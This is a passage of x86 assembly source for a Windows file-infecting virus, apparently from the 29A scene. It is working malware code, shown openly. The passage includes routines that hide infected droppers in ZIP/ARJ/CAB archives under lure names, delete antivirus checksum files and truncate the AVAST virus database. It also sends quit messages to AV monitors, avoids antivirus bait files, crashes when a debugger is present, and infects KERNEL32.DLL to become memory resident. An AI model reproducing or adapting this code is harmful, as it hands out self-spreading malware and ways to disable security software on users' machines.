mov [ebp+filename_ptr],eax
push eax ;input parameter for Free-
push dword ptr [esp+00000054h] ;Library function
call [ebp+ddGetModuleFileNameA]
; check whether I can crypt that file
mov ebx,[ebp+filename_ptr]
call crypt_DLL_check
__final_SoftICE_2:
nop
nop
; int 4 ;final SoftICE breakpoint
jc __cgl_finish
; free library from memory
popa ;ehm :)
popf
popa
push dword ptr [esp+00000008h]
mov eax,[esp+00000004h]
call [eax+1] ;FreeLibrary function, huh?
pusha
; crypt that file
call get_base_ebp ;damn bug !
cmp [ebp+crypto_thread_err],'!A92'
jz __cgl_finish2 ;other process ?
mov [ebp+crypto_thread],CT_CRYPTFILE
mov [ebp+crypto_thread_err],'!A92'
push [ebp+crypto_mainProcId] ;active process where I cre-
push 00000000h ;ated my thread, I cannot
push 00000001h ;active my thread from other
call [ebp+ddOpenProcess] ;process then where was cre-
push eax ;ated
__cgl_cCryptFile:
push 50 ;active crypto thread
push dword ptr [esp+00000004h]
call [ebp+ddWaitForSingleObject]
cmp [ebp+crypto_thread_err],'!A92'
jz __cgl_cCryptFile ;crypto thread must crypt DLL
call [ebp+ddCloseHandle]
; restore all registers
__cgl_finish2:
popa
add esp,00000004h
ret 4 ;go back, my lord !
__cgl_finish:
popa
jmp __hif_finish
;ÄÄÄ´ common register functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
__regOpen: ; open certain register class
; input:
; EAX ... address of register handle
; ECX ... reg (HKEY_CURRENT_USER, HKEY_*, ...)
; ESI ... register class
; output:
; (C)flags
; EAX ... is NOT modified
;
pusha ;save all registers
push eax ;address of register handle
push 000F003Fh ;flag: KEY_ALL_ACCESS
push 00000000h ;reserved
push esi ;register class
push ecx ;reg id
call [ebp+ddRegOpenKeyExA]
or eax,eax ;fault ?
popa ;restore registers
jnz __cReg_fault
test al,0F9h ;hidden STC instruction
__cReg_fault equ $-1
ret
;ÄÄÄ´ functions to calculate brute-CRC64 and CRC32 for APIs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function tries to calculate "brute-CRC64" value for
;certain buffer when the first two valuez won't know. So,
;I won't generate DWORD because this operation is very
;difficult for CPU but instead this I'll encode two WORDs.
;For DLL encrypting i use this method but for PPE-II I'll
;generate DWORD.
;
; input: ESI ... source data
; ECX ... defined data in buffer ESI
;
; output: EAX ... my low "brute-CRC64" value
; EDX ... my high "brute-CRC64" value
;
__bruteCRC64:
push esi ecx
add esi,00000002h ;next WORD
sub ecx,00000002h
call __bCRC64_calculate
pop ecx esi
push eax ;save the 1st "CRC64" value
call __bCRC64_calculate
pop edx
ret
__bCRC64_calculate:
xor edx,edx ;clear registers
xor ebx,ebx
xor eax,eax
__bCRC64_next_byte:
lodsb ;load next byte
xor dl,al
xor bh,dh
sub ebx,eax
mov al,8
__bCRC64_next_bit:
rcl edx,1 ;set (c)arry ?
jc __bCRC64_no_changes
xor edx,0C1A7F39Ah ;ahhh, special valuez
xor ebx,09C3B248Eh
xor ebx,edx
__bCRC64_no_changes:
dec al ;next bit ?
jnz __bCRC64_next_bit
dec ecx
jnz __bCRC64_next_byte
xchg eax,ebx ;low value to EAX
ret
;---------------------------------------------------------
;This function wants to get right value which 's been lost
;Thru "brute-attack" method.
;
; input: ESI ... input buffer
; ECX ... number of bytes in buffer with l.value
; EAX ... low generated "brute-CRC64" value
; EDX ... high generated "brute-CRC64" value
;
; output: EAX ... original value
;
__get_bruteCRC64:
xor ebx,ebx
mov [esi],ebx ;clear original value to zero
push eax edx ;save generated "brute-CRC64"
push esi ecx ;save POS and COUNTER
add esi,00000002h ;the second value
sub ecx,00000002h
__g_bCRC64_second_word:
push esi ecx ;save POS and COUNTER
call __bCRC64_calculate ;check its "brute-CRC64"
pop ecx esi
inc word ptr [esi] ;increase original value
cmp [esp+00000008h],eax ;ahhh, what's now ?
jnz __g_bCRC64_second_word
dec word ptr [esi] ;decrease original value
pop ecx esi ;start of the 1st value
__g_bCRC64_first_value:
push esi ecx ;save POS and COUNTER
call __bCRC64_calculate ;calculate its "brute-CRC64"
pop ecx esi
inc word ptr [esi] ;increase original value
cmp [esp+4],eax ;ahhh, what's now ?
jnz __g_bCRC64_first_value
dec word ptr [esi] ;decrease original value
add esp,00000008h ;take away CRC64
ret
;---------------------------------------------------------
;This function calculates CRC32 for name of API functions.
;The code has been stolen from LoRez source, hi mLapse :)
;
__mCRC32 equ 0C1A7F39Ah
__mCRC32_init equ 09C3B248Eh
;
__macro_CRC32 macro string
crcReg = __mCRC32_init
irpc _x,<string>
ctrlByte = '&_x&' xor (crcReg and 0FFh)
crcReg = crcReg shr 8
rept 8
ctrlByte = (ctrlByte shr 1) xor (__mCRC32 * (ctrlByte and 1))
endm
crcReg = crcReg xor ctrlByte
endm
dd crcReg
endm
;---------------------------------------------------------
;I don't compare API stringz in kernel32 but CRC32.
;
; input: ESI ... string
; output: EAX ... CRC32
;
__get_CRC32:
push edx
mov edx,__mCRC32_init
__gCRC32_next_byte:
lodsb
or al,al ;end of name ?
jz __gCRC32_finish
xor dl,al
mov al,08h
__gCRC32_next_bit:
shr edx,01h
jnc __gCRC32_no_change
xor edx,__mCRC32
__gCRC32_no_change:
dec al
jnz __gCRC32_next_bit
jmp __gCRC32_next_byte
__gCRC32_finish:
xchg eax,edx ;CRC32 to EAX
pop edx
ret
;ÄÄÄ´ function to add dropper to table ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function is main feature for inside-archive works.
;
;What we know:
; * this function is called from "infect_file"
; * it's certainly *.EXE file
; * its filesize is lesser then 30Kb
;
;Headlines:
; * get empty archive dropper (create ZIP/ARJ's dropper ?)
; * if CAB, no packing (stupid structure)
; * give me TEMP directory (e.g. \WINDOWS\TEMP)
; * create random TEMP file name (e.g. 29A + 0001.TMP, ...)
; * get random file name (e.g. SETUP, CRACK, GRATIS, ...)
; * copy infected file to TEMP directory under new name
; * create compress command
; (e.g. C:\ACE.EXE a -ep -m5 C;\TEMP\RUN.EXE C:\TEMP\29A0001.TMP)
; * create process and execute that command
; * check process' thread whether process has been finished
; * delete random file name
;
;
; input: EAX ... filesize
;
__new_dName dd 00000000h ;dropper's newName
;
__add_dropper:
; save registers
pusha
; some free archiver program ?
mov ecx,NewArchiveNum
__ad_searching:
mov eax,ecx ;convert <1..NewArchiveNum>
dec eax ; t o <0..NewArchiveNum-1>
lea esi,[ebp+NewArchive]
imul eax,NewArchiveSize
add esi,eax
push ecx
; test whether dropper has been created
cmp [esi.dropper],00000000h
jnz __ad_next
; test whether CAB structure is empty
cmp ecx,NewArchiveNum
jnz __ad_next_archive
mov eax,filename_size ;allocate mem for CAB's name
call malloc
mov [esi.dropper],eax
mov edi,eax ;copy archive name EXE to
mov esi,[ebp+filename_ptr] ;my new CAB file name buffer
mov ecx,filename_size
rep movsb
jmp __ad_next
; test whether archiver program has been found
__ad_next_archive:
mov ebx,esi
cmp [ebx.program],00000000h
jz __ad_next
; time to prepare dropper - alloc mem, get temp filename
mov eax,filename_size
call malloc
mov [ebx.dropper],eax
; get TEMP directory
push eax ;outta buffer
push filename_size
call [ebp+ddGetTempPathA]
or eax,eax ;give me filepath length
jz __ad_dealloc
; generate new filename for dropper
mov ecx,eax
mov eax,filename_size
call malloc
mov [ebp+__new_dName],eax
push eax
mov edi,eax ;destination place
mov esi,[ebx.dropper]
rep movsb
call generate_name
pop edi
; copy "filename_name" to "edi"
push 00000000h ;rewrite its
push edi ;new filepath and filename
push [ebp+filename_ptr] ;actual filename
call [ebp+ddCopyFileA]
or eax,eax
jz __ad_dealloc_name
; get TEMP file like destination archive name
mov edi,[ebx.dropper] ;destination place
push edi
push 00000000h
lea eax,[ebp+__ad_TEMP_three_chars]
push eax ;the first three chars
push edi ;main TEMP directory
call [ebp+ddGetTempFileNameA]
; delete TEMP file like archive name
push [ebx+dropper]
call [ebp+ddDeleteFileA]
; get filname's last char from archiver
mov edi,[ebx.program]
xor al,al
mov ecx,-1
repnz scasb
dec edi
; get archiver's input parameters
pop ecx
push ecx
dec ecx ;convert to <0..
imul ecx,ArchiverCommandRealSize
lea esi,[ebp+ArchiverCommand]
add esi,ecx
mov ecx,ArchiverCommandSize
rep movsb ;copy input parameters
; generate compression method
lodsb ;number of compression method
movzx eax,al
call ppe_get_rnd_range
add esi,eax
lodsb ;get compression method char
stosb ;copy it
mov al,20h ;space letter
stosb
mov esi,[ebx.dropper]
@copysz
mov byte ptr [edi-1],20h ;space letter
mov esi,[ebp+__new_dName]
@copysz
mov byte ptr [edi-1],00h ;zero letter
; get some startup information
lea eax,[ebp+StartupInfo]
push eax
call [ebp+ddGetStartupInfoA]
mov esi,[ebx.program]
lea eax,[ebp+ProcessInformation]
push eax
lea eax,[ebp+StartupInfo]
push eax
; set window's info
mov word ptr [eax.dwFlags], 0001h ;STARTF_USESHOWINDOW
mov word ptr [eax.wShowWindow], 0000h ;SW_HIDE
xor eax,eax
push eax ;CurrentDirectory
push eax ;Environment
push 04000000h or \ ;CREATE_PROCESS_ERROR_MODE
00000200h or \ ;CREATE_NEW_PROCESS_GROUP
00000080h ;HIGH_PRIORITY_CLASS
push eax ;InheritHandles: FALSE
push eax ;ThreadAttributes
push eax ;ProcessAttributes
push [ebx.program] ;Command
push eax ;Application Name
call [ebp+ddCreateProcessA]
or eax,eax ;success ?
jnz __wait_to_comp
; disable this achiver for future use
mov eax,[ebx.program]
call mdealloc
mov [ebx.program],00000000h
jmp __ad_dealloc ;dealloc droper as well
; give time to compressing
__wait_to_comp:
push 1*4*1000 ;4 seconds
push [ebp+ProcessInformation.hThread]
call [ebp+ddWaitForSingleObject]
; shut down that process
push 00000000h ;error-code
push [ebp+ProcessInformation.hProcess]
call [ebp+ddTerminateProcess]
push [ebp+__new_dName] ;delete copied file
call [ebp+ddDeleteFileA]
__ad_dealloc_name:
mov eax,[ebp+__new_dName] ;dealloc dropper's new name
call mdealloc
__ad_next:
pop ecx
dec ecx
jnz __ad_searching
popa
ret
__ad_dealloc:
mov eax,[ebx.dropper]
call mdealloc
mov [ebx.dropper],00000000h
jmp __ad_next
__ad_TEMP_three_chars: ;greeting to all from this
db '29A',0 ;excelent group (family)
;ÄÄÄ´ function to delete AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function has been called from Hyper Infection - API.
;So, If any AV checksum file has been found, I will delete
;its.
;
; input: EDX ... file name
kill_av:
push edx
call [ebp+ddDeleteFileA]
ret
;ÄÄÄ´ function to change AVAST's viruses database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function modify/truncate AVAST's viruses database.
;If you want to read tutorial about this method, download
;it from my web: http://prizzy.cjb.net
;
; input: filename_ptr ... is filled
;
__ka_handle dd 00000000h ;database's handle
__ka_memory dd 00000000h ;database's body
__ka_new_size dd 00000000h ;database's new size
__ka_checksum dw 0000h ;database's new chck
;
kill_avast:
; open AVAST's viruses database
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __ka_finish
mov [ebp+__ka_handle],eax
; generate new database's file size
mov eax,50000 ;hmmm, + <0,50Kb)
call ppe_get_rnd_range
add eax,AVAST_memSize
mov [ebp+__ka_new_size],eax
call malloc
mov [ebp+__ka_memory],eax
; read signature
mov edx,[ebp+__ka_memory]
mov ecx,00000004h ;four bytes, please
xor esi,esi
mov ebx,[ebp+__ka_handle]
call __MyReadFile
jc __ka_dealloc
; check signature
mov eax,[ebp+__ka_memory]
movzx eax,word ptr [eax+00000002h]
cmp eax,000000F4h
ja __ka_dealloc
; read new size
mov edx,[ebp+__ka_memory]
mov ecx,[ebp+__ka_new_size]
mov esi,00000002h
mov ebx,[ebp+__ka_handle]
call __MyReadFile
jc __ka_dealloc
; calculate new checksum :)
xor di,di ;clear these regz
xor dx,dx
xor bx,bx
xor ax,ax
mov esi,[ebp+__ka_memory] ;place in memory
mov ecx,[ebp+__ka_new_size] ;really readed bytes
sub ecx,00000002h ;sub chacksum word
__ka_decode_body:
lodsb
add di,ax
xor dx,ax
xor bx,ax
ror bx,01h
mov ah,al
loop __ka_decode_body
; and now, I must do the final test
mov ax,di
xor ax,dx
xor ax,bx ;AX=new checksum !!
mov [ebp+__ka_checksum],ax
; write new checksum
lea edx,[ebp+__ka_checksum]
mov ecx,00000002h
xor esi,esi
mov ebx,[ebp+__ka_handle]
call __MyWriteFile
jc __ka_dealloc
; truncate database :)
push 00000000h
push 00000000h
push [ebp+__ka_new_size]
push [ebp+__ka_handle]
call [ebp+ddSetFilePointer]
push [ebp+__ka_handle]
call [ebp+ddSetEndOfFile]
__ka_dealloc:
mov eax,[ebp+__ka_memory]
call mdealloc
mov ebx,[ebp+__ka_handle]
call __MyCloseFile
__ka_finish:
ret
;ÄÄÄ´ may I infect that file ? ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function checks whether file is enabled to infect.
;
; input: EBX ... filename
; ESI ... pointer to an avoid table
;
validate_name:
; save all registers
pusha
lea eax,[ebp+__va_check_file]
push eax
mov edi,ebx
; get last '\' char
__va_get_filename:
push edi
call [ebp+ddlstrlen]
mov ecx,eax
add edi,ecx
__va_next_char:
dec edi
cmp byte ptr [edi],'\'
jz __va_found
dec ecx
jnz __va_next_char
dec edi
__va_found:
inc edi
sub eax,ecx
ret
__va_check_file:
push esi
call [ebp+ddlstrlen]
mov ecx,eax
push esi edi
rep cmpsb
pop edi esi
jz __va_file_invalid
add esi, eax ;go to the next file
inc esi ; + zero char
cmp byte ptr [esi],01h ;end of table ?
jnz __va_check_file
; restore all registers
test al,0F9h ;hidden STC instruction
__va_file_invalid equ $-1
popa
ret
;ÄÄÄ´ anti-bait: do not infect AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;Baits are do-nothing programs used by AVers to spread.
;Familiarly AVers using these filenames:
; 00000001.EXE, 00000002.EXE, 00000003.EXE etc.
;or
; AAAAAAAA.EXE, AAAAAAAB.EXE, AAAAAAAC.EXE etc.
;
;This function checks if filename certains any triple chars
;in sequence. It is typical anti-bait.
;
; input: filename_ptr ... is filled
;
fuck_av_files:
; save all registers
pusha
; get filename
call __va_get_filename ;EAX = filename length
; check triple chars (= anti-bait)
xor eax,eax ;AH=last char, AL=act. char
xor ebx,ebx ;BL=how many chars
__faf_repeat:
mov al,[edi]
cmp ah,al ;last char == actual char ?
jz __faf_same_char
mov ah,al
xor bl,bl
jmp __faf_next_char
__faf_same_char:
inc bl
cmp bl,02h ;triple char ?
jz __faf_failed
__faf_next_char:
inc edi
cmp byte ptr [edi],'.'
jnz __faf_repeat
test al,0F9h ;hidden STC instruction
__faf_failed equ $-1
popa
ret
;ÄÄÄ´ function to check if file has been infected ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function check whether number in EAX is divided by
;special number 117 which the autor has selected for this
;virus. And 'cause every dividing is possible count through
;natural logarithm, so I use this math method :).
;
; in classic math:
; " if ((EAX mod 117)==0) file_is_not_infected "
; in ln math:
; " if ((modf(exp(ln(EAX)-ln(117)),&integer)==0)
; file_not_infected "
;
;Well, "a/b == e^(ln(a) - ln(b))"
; "a*b == e^(ln(a) + ln(b))" etc.
;
; "exp(x) == 2^(x * log2ofE)" etc.
;
;Easy to understand :)
;
__check_infected:
push ecx
mov dword ptr [ebp+source_value ],eax
mov dword ptr [ebp+divided_value],117
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
fninit ;inicialize co-processor
fldln2 ;give me "e^fldln2==2"
fild qword ptr [ebp+source_value] ;input number
fyl2x ;calculate natural logarithm
fldln2
fild qword ptr [ebp+divided_value]
fyl2x ;calculate 2nd nat logarithm
fsubp ;ln(EAX) - ln(117)
fldl2e ;give me log2ofE == 2^
fmulp
fabs ;absolute number
fld1
fld
fstcw [ebp+exp_truncate] ;change rounding
fstcw [ebp+exp_default]
fscale ;2^(trunc ST(1)) + ST(0)
or [ebp+exp_truncate],0Fh ;specify truncation mode
fldcw [ebp+exp_truncate] ;new mode
frndint
and [ebp+exp_default+1],0f3h;default back to round-nearest
fldcw [ebp+exp_default] ;default mode
fist [ebp+exp_further] ;save calculing value
fxch
fchs ;negative
fxch
fscale
fstp ;fscale did not adjust stack
fsubp ;now is "0 <= st(0) < 0.5"
f2xm1 ;calculate 2^st(0)
fld1
faddp
shr word ptr [ebp+exp_further],0001h
jnb __no_sqrt2
fld tbyte ptr [ebp+sqrt2] ;use sqrt(2) to calculate
fmulp ;the 2nd part
__no_sqrt2:
fild word ptr [ebp+exp_further]
fxch
fscale ;fscale doesn't adjust stack
fstp
fldcw [ebp+exp_truncate] ;set truncate mode
fld st(0) ;st(0)=st(1)
frndint ;truncate number
fsubp ;give me only decimal places
fild qword ptr [ebp+rounded_value] ;rounding
fmulp ;multiply by 10^x
frndint
fistp dword ptr [ebp+decimal_places]
fldcw [ebp+exp_default]
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
cmp dword ptr [ebp+decimal_places],00000000h
jnz $+3
test al,0F9h ;hidden STC instruction
pop ecx
ret
sqrt2 dt 3FFFB504F333F9DE6485r ;copro sqrt(2) format
source_value dq 0000000000h
divided_value dq 0000000000h
rounded_value dq 1000000000
;ÄÄÄ´ common file operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
__MyOpenFile: ;opens EDX file
pusha ;save all registers
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ OR GENERIC_WRITE
push edx ;file name
call [ebp+ddCreateFileA]
mov [esp].access_eax,eax ;handle - take away
popa
cmp eax,-1 ;success ?
jz $+3 ;jump if STC, if not CLC :)
test al,0F9h ;hidden STC instruction
ret
__MyReadFile: ; read some bytes (ECX) from certain filepos (ESI)
; to buffer (EDX) by handle (EBX)
; input:
; ECX ... number of bytes to read
; EDX ... destination buffer
; ESI ... file pos
; EBX ... file handle
; output:
; ECX ... number of reader bytes, CFlags
call __MySeekFile ;change file pos
pusha
xor eax,eax
push ecx ;save for later using...
push eax ;support 2^64-2 bigger file ?
lea eax,[ebp+last_error]
push eax ;real readed bytes
push ecx
push edx
push ebx
call [ebp+ddReadFile]
pop [esp].access_ecx ;save old ECX to PUSHAD
popa
cmp ecx,[ebp+last_error]
jnz $+3 ;jump if STC, if not CLC :)
test al,0F9h ;hidden STC instruction
mov ecx,[ebp+last_error]
ret
__MyWriteFile: ; write some bytes (ECX) to certain filepos (ESI)
; from buffer (EDX) by handle (EBX)
; input:
; ECX ... number of bytes to write
; EDX ... source buffer
; ESI ... file pos
; EBX ... file handle
call __MySeekFile
pusha
xor eax,eax
push ecx ;save for later using...
push eax ;file bigger then 2^64-2 ?
lea eax,[ebp+last_error]
push eax
push ecx ;number of bytes to write
push edx ;source buffer
push ebx ;file handle
call [ebp+ddWriteFile]
pop [esp].access_ecx
popa
cmp ecx,[ebp+last_error]
jnz $+3 ;jump if STC, if not CLC :)
test al,0F9h ;hidden STC instruction
mov ecx,[ebp+last_error]
ret
__MySeekFile: ; seek in the file
; input:
; ESI ... new file pos
; EBX ... file handle
pusha
xor eax,eax
push eax ;FILE_BEGIN defined in "WinBase.H"
push eax ;support 2^64-2 file size ?
push esi ;new file size
push ebx ;file handle
call [ebp+ddSetFilePointer]
popa
ret
__MySetAttrFile: ; change file attributes
; input:
; ECX ... new file attributes
; EDX ... file name pointer
pusha
push ecx ;new attributes
push edx ;file name pointer
call [ebp+ddSetFileAttributesA]
mov [esp].access_eax,eax
popa
or eax,eax
jz $+3
test al,0F9h ;hidden STC instruction
ret
__MyCloseFile: ; close (EBX) file handle
pusha
push ebx ;handle to close
call [ebp+ddCloseHandle]
popa
ret
__MyGetFileSize: ; get file size
; input:
; EBX ... file handle
pusha
push 00000000h ;file bigger then 2^64-2 ?
push ebx ;file handle
call [ebp+ddGetFileSize]
mov [esp].access_eax,eax
popa
cmp eax,-1
jz $+3
test al,0F8h ;hidden STC instruction
ret
__MyFindFirst: ; search certain file
; input:
; EDX ... file mask
; ESI ... dta
; output:
; EAX ... handle, CF status
pusha
push esi ;output dta
push edx ;file mask
call [ebp+ddFindFirstFileA]
mov [esp].access_eax,eax
popa
cmp eax,-1 ;were we successful ?
jz $+3
test al,0F9h ;hidden STC instruction
ret
__MyFindNext: ; find next file
; input:
; EAX ... handle
; ESI ... dta
pusha
push esi ;output dta
push eax ;FindFirstFile handle
call [ebp+ddFindNextFileA]
or eax,eax ;success ?
popa
jz $+3
test al,0F9h ;hidden STC instruction
ret
__MyFindClose: ; close file searcher
; input:
; EAX ... handle
pusha
push eax ;FindFirstFile handle
call [ebp+ddFindClose]
mov [esp].access_eax,eax
popa
or eax,eax ;success ?
jz $+3
test al,0F9h ;hidden STC instruction
ret
malloc: ; allocate memory (EAX)
pusha
mov ebx,eax
push 00000000h ;name of mapping object
push eax ;low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READWRITE
push 00000000h ;optional security attributes
push -1 ;no file, only shared memory
call [ebp+ddCreateFileMappingA]
or eax,eax
jz __malloc_failed ;success ?
push ebx ;number of bytes to map
push 00000000h ;low 32 bits of file offset
push 00000000h ;high 32 bits of file offset
push FILE_MAP_WRITE ;access mode
push eax ;mapped object
call [ebp+ddMapViewOfFile]
__malloc_failed:
mov [esp].access_eax,eax ;memory address or NULL
popa
or eax,eax
ret
mdealloc: ; deallocate memory (EAX)
pusha
push eax ;mapped address
call [ebp+ddUnmapViewOfFile]
popa
ret
__MyCreateThread: ; create thread
; input:
; EAX ... thread function
; EBX ... parameter
; output:
; EAX ... thread handle
pusha
call $+9 ;thread identifier
dd ?
push 00000000h ;create flags
__mct_continue:
push ebx ;parameter
push eax ;start address
push 00000000h ;stack size
push 00000000h ;security attributes
call [ebp+ddCreateThread]
mov [esp].access_eax,eax ;EAX through POPA :)
popa
or eax,eax
jz $+3
test al,0F9h ;hidden STC instruction
ret
;ÄÄÄ´ function to get kernel's address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function searchs functions in:
; * KERNEL32.DLL, USER32.DLL, ADVAPI32.DLL
;At first I'll open library, get export table, RVA ... and
;then I'll compare CRC32 with function names.
;
__fk32_inside dd 00000000h ;library tables
;
find_kernel32:
mov eax,[esp+8] ;I need kernel's address
and eax,0FFFF0000h
add eax,65536
__scanning: sub eax,65536
cmp word ptr [eax],'ZM'
jnz __scanning
pusha
mov [ebp+kernel_base],eax
mov edx,eax
; kernel's base 'MZ' address in EAX
mov ebx,eax
add eax,[eax+3ch]
add ebx,[eax+78h]
mov [ebp+__fk32_inside],ebx
; search functions from "k32.dll, user32.dll, advapi32.dll"
lea ebx,[ebp+FunctionNames]
lea edi,[ebp+FunctionAddresses]
mov ecx,00000003h
__fk32_next_library:
push ecx ;number of libraries
__fk32_next_function:
mov esi,[ebx] ;get function's CRC32
mov [ebp+__sET_crc32],esi
call __searchET
stosd ;write its address
add ebx,00000004h ;next CRC32 value
cmp dword ptr [ebx],00000000h ;end of functions
jnz __fk32_next_function ;of current library ?
add ebx,00000005h ;now, library name
movzx ecx,byte ptr [ebx-1] ;EAX ... length of library
or ecx,ecx
jz __fk32_finish
push ebx ebx ;library name
add [esp+00000004h],ecx
call [ebp+ddLoadLibraryA]
mov ecx,-2 ;libraries without k32
add ecx,[esp+00000004h] ;get number of libraries
mov [ebp+user32_base+ecx*4],eax
mov ebx,eax ;start of file header
mov edx,eax
add eax,[eax+3ch]
add ebx,[eax+78h]
mov [ebp+__fk32_inside],ebx
pop ebx ;function names
; next library ?
__fk32_finish:
pop ecx
loop __fk32_next_library
popa ;bye, bye K32, U32, A32...
ret ;what a pleasure work with u!
; search function's address
__searchET:
pusha
mov ebx,[ebp+__fk32_inside]
mov ecx,[ebx+32] ;search export table of
add ecx,edx ;KERNEL32, searching
__sET_next:
mov esi,[ecx] ;the names, then the ordinal
add esi,edx ;and, finally the RVA pointerz
call __get_CRC32 ;get name's CRC32 :)
mov edi,12345678h
__sET_crc32 equ dword ptr $-4
cmp eax,edi ;compare CRC32
jz __sET_found
add ecx,00000004h
jmp __sET_next
__sET_found:
sub ecx,[ebx+32]
sub ecx,edx
shr ecx,1
add ecx,[ebx+36]
add ecx,edx
movzx ecx,word ptr [ecx]
shl ecx,2
add ecx,[ebx+28]
add ecx,edx
mov ecx,[ecx]
add ecx,edx
mov [esp].access_eax,ecx ;ehm, save ECX through POPA
popa
ret
;ÄÄÄ´ search fixed, cd-rom, ram-disk, etc. ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function gets information about disks. I call
;GetDriveType function to get type of disk. You can use
;Win32API Help to know more or WinBase.H (CBuilder, MSVC)
;where you can see more flagz and their valuez. So, I can
;use GetLogicalDrives function, but that's one.
;
get_disks:
pusha
xor ebx,ebx
mov byte ptr [ebp+__disk],'A'
; GetDriveType function...
__gd_search:
lea eax,[ebp+__disk]
push eax
mov eax,[ebp+ddGetDriveTypeA]
call eax
cmp eax,00000003h ;DISK_FIXED flag
jz __gd_found
__gd_new_disk:
cmp byte ptr [ebp+__disk],'Z'
jz __gd_finish
inc byte ptr [ebp+__disk]
jmp __gd_search
__gd_found:
mov cl,'A'
sub cl,byte ptr [ebp+__disk]
neg cl
mov eax,00000001h
shl eax,cl ;convert to BCD
or ebx,eax
jmp __gd_new_disk
__gd_finish:
mov [ebp+gdt_flags],ebx
popa
ret
__disk:
db 'A:\',0
;ÄÄÄ´ function to kill some AV monitors ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This is very interesting function how to send message to
;AV monitor to kill itself (AVP, AMON, AVG, AVAST monitor)
;
kill_av_monitors:
lea esi,[ebp+kill_AV] ;address of strings
xor edi,edi
mov ecx,kill_AV_num ;three monitors
__kam_checking:
push ecx ;save counter
push esi ;AV string
push edi ;NULL
call [ebp+ddFindWindowA]
test eax,eax ;found ?
je __kam_next_monitor
push edi ;send message to AV monitor
push edi ;to kill itself :)
push 00000012h
push eax
call [ebp+ddPostMessageA] ;kill it, hehe :)
__kam_next_monitor:
@endsz ;next monitor
pop ecx
loop __kam_checking
ret
;ÄÄÄ´ function to kill some debuggers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function checks whether some debuggers are active.
;I use these methods:
; * IsDebuggerPresent, kill SoftICE, kill TD32, etc.
;
;this code has been stolen from Benny's source, hi Benny :)
;
kill_debuggers:
; check standard debugger
mov eax,[ebp+ddIsDebuggerPresent]
IFNDEF DEBUG
call eax ;check debug...
or eax,eax
jnz __kd_found
ENDIF
; check whether SoftICE 95/98/NT/2000 is active
lea edx,[ebp+kill_SoftICE]
call __MyOpenFile
jnc __kd_found
lea edx,[ebp+kill_SoftICE_NT]
call __MyOpenFile
jnc __kd_found
; check others debuggers
mov eax,fs:[20h]
or eax,eax
IFNDEF DEBUG
jnz __kd_found
ENDIF
ret
__kd_found:
xor esp,esp ;im sorry :)
ret
;ÄÄÄ´ function to infect KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function have to infect "KERNEL32.DLL" to this virus
;become memory resident.
;
;I would like to thank;
; * Lord Julus/29A for his article about this in VxTasy.
;
__ik_system dd 00000000h ;system directory
__ik_window dd 00000000h ;window directory
__ik_wininit db '\WININIT.INI',0
__ik_nul db 'NUL',0
__ik_rename db 'Rename',0 ;section name
;
infect_kernel:
; allocate memory for SYSTEM and WINDOWS directory
mov eax,filename_size
call malloc
mov [ebp+__ik_system],eax
mov eax,filename_size
call malloc
mov [ebp+__ik_window],eax
; find SYSTEM directory
push filename_size
push [ebp+__ik_system]
call [ebp+ddGetSystemDirectoryA]
; find WINDOWS directory
push filename_size
push [ebp+__ik_window]
call [ebp+ddGetWindowsDirectoryA]
; copy \WINDOWS\SYSTEM + \KERNEL32.DLL
lea eax,[ebp+kernel_name]
push eax eax
push [ebp+__ik_system]
call [ebp+ddlstrcat]
; copy \WINDOWS + \KERNEL32.DLL
push [ebp+__ik_window]
call [ebp+ddlstrcat]
; copy KERNEL32.DLL from SYSTEM directory to '..'
push 00000000h ;rewrite it
push [ebp+__ik_window] ;new filepath
push [ebp+__ik_system] ;actual filename
call [ebp+ddCopyFileA]
or eax,eax ;if error, we're probably
jz __ik_fault ;in memory :)
mov eax,[ebp+__ik_window]
mov [ebp+filename_ptr],eax
mov [ebp+it_is_kernel],01h ;infect kernel flag
call infect_file
; check system version Win9X or WinNT/2k ?
call [ebp+ddGetVersion]
bt eax,3Fh ;get last bit
jnc __ik_nt2k ;jump if WinNT/2k
